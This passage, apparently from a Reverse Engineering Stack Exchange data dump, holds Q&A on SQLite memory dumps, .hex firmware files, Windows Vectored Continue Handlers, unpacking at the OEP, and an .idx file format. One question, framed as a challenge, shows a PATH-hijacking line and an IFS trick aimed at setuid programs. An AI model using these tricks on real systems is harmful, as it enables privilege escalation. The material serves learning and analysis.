number.&#xA;00 00 00 01&#xA;&#xA;SQLITE_VERSION_NUMBER&#xA;00 2D F1 B8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit: Appears the problem may be in the database table format. Here is an example of one of the tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Format of Dumped DB. Table def starts at offset 229&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tableCommTypeCommType   &#xA;CREATE TABLE CommType&#xA;(&#xA;    CommID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,&#xA;    CommName TEXT NOT NULL&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I recreate the DB myself I get the following format. Why is this different?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starts at offset 784 (lots of padding before)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tablesqlite_sequencesqlite_sequence&#xA;CREATE TABLE sqlite_sequence(name,seq)&#xA;utableCommTypeCommType&#xA;CREATE TABLE `CommType` (&#xA;    `CommID` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,&#xA;    `CommName` TEXT NOT NULL&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit2: It appears I've dumped RAM that was used by the in memory database creation. I have lots and lots of the same CREATE TABLE strings in a sequence repeating with small changes. Most likely due to the code doing &quot;sql = sql + moreSql&quot; or something like that and I've just dumped these strings opposed to an entire in memory database. I need to do a bigger memory dump to find the actual DB&lt;/p&gt;&#xA;" OwnerUserId="16675" LastEditorUserId="16675" LastEditDate="2017-03-23T23:09:59.497" LastActivityDate="2017-05-23T11:43:01.983" Title="Dumping SQLITE database out of memory and viewing without original DB" Tags="|memory|memory-dump|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14989" PostTypeId="2" ParentId="14988" CreationDate="2017-03-23T07:14:09.747" Score="0" Body="&lt;p&gt;Straight from the linked website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The minimum size SQLite database is a single 512-byte page. The maximum size database would be 2147483646 pages at 65536 bytes per page or 140,737,488,224,256 bytes (about 140 terabytes)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in your case, we have a page size of 1024 bytes and 16 pages. So i assume the payload of the database file is about 16384 bytes + 100 bytes for the header.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-23T07:14:09.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14990" PostTypeId="1" AcceptedAnswerId="14991" CreationDate="2017-03-23T10:58:39.813" Score="1" ViewCount="1413" Body="&lt;p&gt;I am newcomer to this field.&#xA;I would like to understand how these things work and what these file contain (and if I'm on the right path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain my doubts, I will use the .hex file posted in a similar question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11650/how-can-i-decompile-an-arm-coretex-m0-hex-file-to-c&quot;&gt; How can I decompile an ARM Coretex M0 .hex file to C++?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to .hex file: &lt;a href=&quot;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;a href=&quot;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .hex file contains the instructions that will be executed by the microcontroller, and the format used is &lt;a href=&quot;http://www.keil.com/support/docs/1584/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;a href=&quot;http://www.keil.com/support/docs/1584/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.keil.com/support/docs/1584/&lt;/a&gt;&lt;/a&gt;, am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've tried to extract some information from this file (just for learning):&#xA;I've converted the .hex file into .bin file with hex2bin (as suggested in the first answer), &#xA;then I've run the command &quot;strings file.bin&quot;, and I've found some readable strings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean? Why can I read only some strings and not all the data?&#xA;Exactly what happen when I convert .hex file to .bin file?&#xA;Is there a way to extract the code in which these strings are used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe these questions are too silly, &#xA;but I hope that someone could explain what these files are, and what they represent. &#xA;Any good resource will be appreciated. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="19486" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-03-23T15:12:51.747" Title="Basic clarifications about .hex and .bin file" Tags="|disassembly|firmware|arm|hex|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14991" PostTypeId="2" ParentId="14990" CreationDate="2017-03-23T12:32:01.660" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The .hex file contains the instructions that will be executed by the&#xA;  microcroller, and the format used is&#xA;  &lt;a href=&quot;http://www.keil.com/support/docs/1584/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.keil.com/support/docs/1584/&lt;/a&gt; , am I right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're right about the format. The .hex file basically encodes binary data which contains instruction in assembly language, but also data.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does it mean? Why can I read only some strings and not all the&#xA;  data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It means &lt;code&gt;strings&lt;/code&gt; could find some data its deems to be a string. it just searches the binary dump for byte sequences which reassembly ascii codes (with additional heuristics, like minimum length, different string formats, ...)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Exacly what happen when I convert .hex file to .bin file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The file is decoded. its a symmetric encoding scheme as described at the source you privided.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to extract the code in which these strings are used?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but you would need to find the code first to make this connection. Good diassemblers like IDA will find cross-references to data fields (like strings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see the individual machine instructions, please use a disassembler like radare2, IDA, BinaryNinja, Hopper or something else capable of disassembling ARM.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-23T12:32:01.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14992" PostTypeId="1" AcceptedAnswerId="14993" CreationDate="2017-03-23T12:47:37.810" Score="16" ViewCount="5683" Body="&lt;p&gt;Practically everyone knows what &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms681420(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;Vectored Exception Handlers&lt;/a&gt; are, but I couldn't find a lot of information about the similar &quot;Vectored Continue Handlers&quot; and related functions I encountered today, such as &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679273(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;AddVectoredContinueHandler&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680567(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;RemoveVectoredContinueHandler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prototype of &lt;code&gt;AddVectoredContinueHandler&lt;/code&gt; is very similar to &lt;code&gt;AddVectoredExceptionHandler&lt;/code&gt;'s prototype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PVOID WINAPI AddVectoredContinueHandler(&#xA;  _In_ ULONG                       FirstHandler,&#xA;  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to make things more confusing it accepts a &lt;code&gt;PVECTORED_EXCEPTION_HANDLER&lt;/code&gt;, just as &lt;code&gt;AddVectoredExceptionHandler&lt;/code&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose of Vectored &lt;strong&gt;Continue&lt;/strong&gt; Handlers and how are they used?&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-06-25T14:16:23.303" LastActivityDate="2018-03-19T16:02:57.060" Title="What are the Vectored Continue Handlers" Tags="|windows|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14993" PostTypeId="2" ParentId="14992" CreationDate="2017-03-23T12:47:37.810" Score="15" Body="&lt;p&gt;Unfortunately MSDN and windows API documentation is really scarce here, and I had difficulties finding anything other than the minimal description in MSDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out the Vectored &lt;em&gt;Continue&lt;/em&gt; Handlers are maintained in a Linked list very similar to the one used for Vectored &lt;em&gt;Exception&lt;/em&gt; Handlers. They are so similar, that the function's prototypes are practically identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PVOID WINAPI AddVectoredExceptionHandler(&#xA;  _In_ ULONG                       FirstHandler,&#xA;  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compared to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PVOID WINAPI AddVectoredContinueHandler(&#xA;  _In_ ULONG                       FirstHandler,&#xA;  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Luckily, Vectored &lt;em&gt;Exception&lt;/em&gt; Handlers are more commonly used and documented. For example, MSDN has a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms681420(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;page&lt;/a&gt; about VEHs, containing the following paragraph:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Vectored exception handlers are an extension to structured exception handling. An application can register a function to watch or handle all exceptions for the application. Vectored handlers are not frame-based, therefore, you can add a handler that will be called regardless of where you are in a call frame. Vectored handlers are called in the order that they were added, after the debugger gets a first chance notification, but before the system begins unwinding the stack.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same page has only a laconic reference to the Add and Remove VCH APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some research and reverse engineering of ntdll, I realized VCHs and VEHs are quite similar in implementation. For example, see how &lt;code&gt;AddVectoredExceptionHandler&lt;/code&gt; and &lt;code&gt;AddVectoredContinueHandler&lt;/code&gt; are identical except for the &lt;code&gt;VectoredListIndex&lt;/code&gt;, specifying they should be added to the second &lt;code&gt;VectorHandlerList&lt;/code&gt; in the case of VCH:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NcS2S.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NcS2S.png&quot; alt=&quot;AddVectoredExceptionHandler VS AddVectoredContinueHandler&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, &lt;code&gt;RemoveVectoredExceptionHandler&lt;/code&gt; and &lt;code&gt;RemoveVectoredContinueHandler&lt;/code&gt; are identical except for the vectored handlers list index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;RtlpAddVectoredHandler&lt;/code&gt;, the &lt;code&gt;VectoredListIndex&lt;/code&gt; is used as an index in  &lt;code&gt;_LdrpVectorHandlerList&lt;/code&gt;, which is an array of size two of a linked list structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following picture we can see how &lt;code&gt;VectoredListIndex&lt;/code&gt; is multiplied by the size of the list anchor object, and then added to &lt;code&gt;_LdrpVectorHandlerList&lt;/code&gt;, which is the base offset of the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WukZJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WukZJ.png&quot; alt=&quot;VectoredListIndex used as an array index&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now we're getting to the interesting part - where are VEH and VCH different?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we walk up the cross references to &lt;code&gt;_LdrpVectorHandlerList&lt;/code&gt;, we'll notice the two flows leading up to the add/remove functions are practically identical. Aside from those four APIs, we're left with only one other function, called &lt;code&gt;RtlpCallVectoredHandlers&lt;/code&gt; which is undocumented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty obvious from the name, but &lt;code&gt;RtlpCallVectoredHandlers&lt;/code&gt; iterates over the vector (vector is selected according to the index) and calls all Handlers in a sequence. Once a Vectored Handler returns &lt;code&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/code&gt; the iteration is interrupted by prematurely returning from &lt;code&gt;RtlpCallVectoredHandlers&lt;/code&gt; and execution resumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sole function calling &lt;code&gt;RtlpCallVectoredHandlers&lt;/code&gt; is &lt;code&gt;RtlDispatchException&lt;/code&gt;, which is the main function dispatching exception handlers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it executes all exception handlers, starting with the first Vectored Exception Handler to the last, and then going through all Structured Exception Handlers unfolding them through the stack. The first exception handler to return &lt;code&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/code&gt; (be it of type VEH or SEH) will stop the entire exception handlers execution process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like VEHs, when VCHs are called, they are called one by one until one of them returns &lt;code&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/code&gt; (just as when VEHs are called), which signals &lt;code&gt;RtlpCallVectoredHandlers&lt;/code&gt; to &lt;code&gt;break&lt;/code&gt; the Vectored Handlers calling loop. This is interesting because it means installing a Vectored Continue Handler as first lets you hide exceptions from subsequent VCHs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vectored Continue Handlers are called under the following circumstances:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If an exception handler (either VEH or SEH) was called and returned &lt;code&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If for some reason SEH validation failed (See SafeSEH and related mechanisms), VCHs will also be called, but the execution will not continue afterwards.&#xA;This can be seen in the many flows that lead to the second &lt;code&gt;RtlpCallVectoredHandlers&lt;/code&gt; call without setting &lt;code&gt;bl&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; and leaving it equal to zero before moving it to &lt;code&gt;al&lt;/code&gt; and returning &lt;code&gt;false&lt;/code&gt;. The calling function, &lt;code&gt;KiUserExceptionDispatcher&lt;/code&gt; will then call &lt;code&gt;ZwRaiseException&lt;/code&gt; if the value returned by &lt;code&gt;KiUserExceptionDispatcher&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5Xss7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Xss7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-03-19T16:02:57.060" LastActivityDate="2018-03-19T16:02:57.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14994" PostTypeId="1" AcceptedAnswerId="14997" CreationDate="2017-03-23T13:13:49.663" Score="5" ViewCount="2549" Body="&lt;p&gt;What is the exact reason for dumping a process when the Program Counter is at OEP? I haven't found a decent answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://www.corelan.be/index.php/2011/12/01/roads-iat/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt; says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to identify the IAT structure, Import Reconstructor needs to&#xA;  know the OEP of our application (of the unpacked code).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This leaves me with the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;But how does knowing OEP relate to IAT?&lt;/li&gt;&#xA;&lt;li&gt;When application is unpacked in memory, can't we get pointer to IAT just by walking through PE header and getting address of IT - and then of IAT?&lt;/li&gt;&#xA;&lt;li&gt;Why don't we dump application not at OEP but say on &lt;strong&gt;jmp&lt;/strong&gt; leading to OEP? Or one-two instructions after OEP?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16505" LastEditorUserId="2147" LastEditDate="2017-03-23T13:56:45.530" LastActivityDate="2017-03-23T14:07:16.813" Title="Why to dump precisely at OEP while manual unpacking?" Tags="|unpacking|dumping|import-reconstruction|oep|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14995" PostTypeId="2" ParentId="14994" CreationDate="2017-03-23T13:22:34.950" Score="4" Body="&lt;p&gt;I think there is something mixed up here.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But how does knowing OEP relate to IAT?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does not (for benign software). However, the article you linked analyzes a packed executable. Often, malware tries to hide its imports my not using the official IAT, but by creating their own at runtime. The Tools should help you to reconstruction somewhat of a 'normal' IAT.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When application is unpacked in memory, can't we get pointer to IAT&#xA;  just by walking through PE header and getting address of IT - and then&#xA;  of IAT?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why should the unpacked payload have its own PE header? I've seen a lot of malware and this is very seldomly the case.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why don't we dump application not at OEP but say on jmp leading to&#xA;  OEP? Or one-two instructions after OEP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To make sure you got the normal payload. Often analysts try to recrate a PE file for it (by reconstructing the IAT, establishing a header, ..) to make analysis more comfy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this article, they try to 'fix' the binary&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-23T13:22:34.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14997" PostTypeId="2" ParentId="14994" CreationDate="2017-03-23T13:54:45.240" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But how does knowing OEP relate to IAT?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OEP does not relate to the IAT, but is used by import reconstruction tools to find the location of IAT-like structures created by the packer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When application is unpacked in memory, can't we get pointer to IAT just by walking through PE header&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly why import reconstruction is needed. Because the malware &lt;em&gt;intentionally&lt;/em&gt; ruins the IAT in some way or another, only keeping a small set of mandatory functions in it, leaving the work of resolving most of the APIs as part of the unpacking code. Therefore import reconstruction will require we find the IAT by other means (because the PE defined IAT is incomplete/fake).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why don't we dump application not at OEP but say on jmp leading to OEP? Or one-two instructions after OEP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When dumping, it is import to have executed all code related to descrambling the packed code. Otherwise, OEP might not be valid executable code. Other than that (and import reconstruction related issues) it is perfectly fine to dump and just adjust the PE's Entry Point to the OEP. Most dumping tools will allow that.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Aside from answering your specific questions, here are the types of packers with regard to their IAT manipulation and what's needed to get a functional IAT in a dumped PE:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When a packer does not change the original import table, import reconstruction is unnecessary. Most PE dumpers will copy the original import table when it's valid or dump it with the PE.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some packers carry another PE that is hidden at first, and only decrypt/descramble it in it's entirety. Those packers will also carry the IAT in-tact and most dumpers will get the IAT automatically. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some packers will create their own alternative IAT and implement their own version of API loading/resolving. For those packers, an import reconstruction utility will need to locate that alternative (or, shall we say real?) IAT and create a new IAT in the reconstructed PE from scratch (based on those APIs actually pointed by the original IAT). Import reconstruction will then find ranges of &quot;IAT looking&quot; offsets and make sure they reside in the same location when the PE is loaded. The OEP is therefore scanned for calls that use offset tables that might be suspected as being such an alternative IAT.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some packers will not create a single IAT, but instead many small IAT tables, such that you would no longer call them &quot;Tables&quot;. In those cases, the import reconstruction tool &lt;em&gt;must&lt;/em&gt; encounter enough of those small tables and reconstruct each of them separately. In those cases it is even more important not to leave any piece of code still packed, as APIs only used by those pieces of code will not be reconstructed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another type of packers make it even harder to resolve APIs for static disassembly (although do not prevent execution of the dumped PE) by dropping the concept of import tables and instead resolve the API requested every time an API call is made. This is usually done by assigning a key/hash that is not trivially recognizable to any API, and walk over DLLs and Export tables every time a call is made, generating the same key/hash for APIs until the correct key is found.&#xA;This usually mean import reconstruction is not needed to execute and debug the dumped PE, but a human reverse engineer will have difficulties understanding which APIs are being called.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-03-23T14:07:16.813" LastActivityDate="2017-03-23T14:07:16.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14998" PostTypeId="2" ParentId="14941" CreationDate="2017-03-23T17:28:36.783" Score="1" Body="&lt;p&gt;The SCAN00356.idx file has easily identifiable structures.  The data region begins starting at offset 0x800 and continues to the end of the file.  Each 0x400 page contains 18-byte records.  When a page fills up (or data ends), it ends the current set of records with a 1-word index value after the last record. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI - Just change the view width of your hex editor to 18 bytes.  The structures will pop right out at you.  Here is an excerpt from your file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EF 73 05 50 01 00 FF 72 7F 46 88 72 2D 7E 00 00 00 05 &#xA;C7 14 05 50 01 00 7F E4 1C 09 8C 72 2D 7E 00 00 00 05 &#xA;A0 20 05 50 01 00 FF 55 BA CB 8F 72 2D 7E 00 00 00 05 &#xA;67 18 05 50 01 00 7F C7 57 8E 93 72 2D 7E 00 00 00 05 &#xA;44 D6 05 50 01 00 FF 38 F5 50 97 72 2D 7E 00 00 00 05 &#xA;0F 84 05 50 01 00 7F AA 92 13 9B 72 2D 7E 00 00 00 04 &#xA;CA A0 05 50 01 00 FF 1B 30 D6 9E 72 2D 7E 00 00 00 04 &#xA;A9 49 05 50 01 00 7F 8D CD 98 A2 72 2D 7E 00 00 00 04 &#xA;76 89 05 50 01 00 FF FE 6A 5B A6 72 2D 7E 00 00 00 04 &#xA;4D 6F 05 50 01 00 7F 70 08 1E AA 72 2D 7E 00 00 00 04 &#xA;2C BF 05 50 01 00 FF E1 A5 E0 AD 72 2D 7E 00 00 00 03 &#xA;FD 5B 05 50 01 00 7F 53 43 A3 B1 72 2D 7E 00 00 00 03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some of the columns never seem to change, such as the byte string 0x72 7D 7E 00 00 00.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others appear as flags, such as the column that alternates between 0xFF and 0x7F.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seem to be a few different types of records stored, although they all conform to this format.  Some will use more of the data bytes than others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the feel of some type of logging record, though I don't know what the values of the data fields mean.  I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="19630" LastActivityDate="2017-03-23T17:28:36.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15000" PostTypeId="1" CreationDate="2017-03-24T02:40:25.583" Score="0" ViewCount="92" Body="&lt;p&gt;I am working on a challenge where it is possible to manipulate environmental variables (in C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that with &lt;code&gt;PATH&lt;/code&gt; it is possible to execute arbitrary programs when relative path is used, for example: &lt;code&gt;execv(&quot;ls&quot;, 0);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;export PATH=path/to/attackers/dir/:$PATH&lt;/code&gt; (This works as well by changing the PATH environmental within the program's memory, e.g &lt;code&gt;char **envp&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read something about &lt;code&gt;IFS&lt;/code&gt; but I think is only applicable on scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;export IFS=/&lt;/code&gt; (so /bin/ls will become &lt;code&gt;bin ls&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other environmental that can be used for exploitation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying for example to mess with &lt;code&gt;PWD&lt;/code&gt; in order to influence &lt;code&gt;fopen(&quot;file&quot;)&lt;/code&gt; with a file in different directory than the current but it didn't work. (the &lt;code&gt;fopen&lt;/code&gt; eventually calls &lt;code&gt;getcwd&lt;/code&gt; which I could not identify how exactly it operates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;export PWD=new/pwd&lt;/code&gt; (It changes the prompt but the &lt;code&gt;pwd&lt;/code&gt; command returns the right current working directory)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating system: Ubuntu (latest kernel)&lt;/p&gt;&#xA;" OwnerUserId="19320" LastEditorUserId="19320" LastEditDate="2017-03-24T10:36:34.983" LastActivityDate="2017-03-24T10:36:34.983" Title="Which environmental variables can be used alter control flow and keep suid?" Tags="|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15001" PostTypeId="2" ParentId="15000" CreationDate="2017-03-24T06:41:14.367" Score="1" Body="&lt;p&gt;How exactly did you set the path? Can you confirm the output of &lt;code&gt;pwd&lt;/code&gt; changes?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;get_current_dir_name()&lt;/code&gt; will &lt;code&gt;malloc(3)&lt;/code&gt; an array big enough to hold the absolute pathname of the current working directory. If the environment variable &lt;code&gt;PWD&lt;/code&gt; is set, and its value is correct, then that value will be returned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://linux.die.net/man/3/getcwd&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which operating system do you use?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Under Linux, the function getcwd() is a system call (since 2.1.92).&#xA;         On older systems it would query /proc/self/cwd.&#xA;  Straight from the kernel source:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * NOTE! The user-level library version returns a&#xA; * character pointer. The kernel system call just&#xA; * returns the length of the buffer filled (which&#xA; * includes the ending '\0' character), or a negative&#xA; * error value. So libc would do something like&#xA; *&#xA; *  char *getcwd(char * buf, size_t size)&#xA; *  {&#xA; *      int retval;&#xA; *&#xA; *      retval = sys_getcwd(buf, size);&#xA; *      if (retval &amp;gt;= 0)&#xA; *          return buf;&#xA; *      errno = -retval;&#xA; *      return NULL;&#xA; *  }&#xA; */&#xA;SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)&#xA;{&#xA;    int error;&#xA;    struct path pwd, root;&#xA;    char *page = (char *) __get_free_page(GFP_USER);&#xA;&#xA;    if (!page)&#xA;        return -ENOMEM;&#xA;&#xA;    get_fs_root_and_pwd(current-&amp;gt;fs, &amp;amp;root, &amp;amp;pwd);&#xA;&#xA;    error = -ENOENT;&#xA;    spin_lock(&amp;amp;dcache_lock);&#xA;    if (!d_unlinked(pwd.dentry)) {&#xA;        unsigned long len;&#xA;        struct path tmp = root;&#xA;        char *cwd = page + 